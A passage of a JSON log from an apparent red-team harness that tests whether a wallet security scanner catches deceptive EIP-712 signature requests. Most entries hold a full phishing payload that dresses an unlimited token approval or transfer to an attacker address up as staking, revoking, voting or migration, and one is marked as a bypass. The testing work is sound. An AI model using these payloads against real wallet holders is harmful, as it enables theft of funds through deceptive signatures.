Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T17:35:06.494Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T17:35:16.477Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T17:35:25.674Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T17:35:34.885Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "RUN31-EIP3009-022", "timestamp": "2026-01-31T17:35:44.085Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x6f75a56a2f2fbca7270b18a613099ca9d2b6d835a483d5901200faffc6535f15\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN31-EIP3009-054", "timestamp": "2026-01-31T17:35:50.641Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x44fab7f7962ff5a10b5322f98c40856bf96623f88d906b25dadba28f3e4f655e\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Execution reverted with reason: ERC20: transfer amount exceeds balance.\n\nRaw Call Arguments:\n from: 0x027821c81bc29f8860e7a17ab759ed000c97f178\n to: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\n d" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T17:36:00.118Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true, "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T17:36:08.530Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T17:36:18.070Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T17:36:27.615Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T17:36:37.164Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T17:36:46.718Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T17:36:56.264Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T17:37:05.809Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T17:37:15.359Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T17:37:24.901Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T17:37:34.452Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T17:37:43.991Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T17:37:53.542Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi 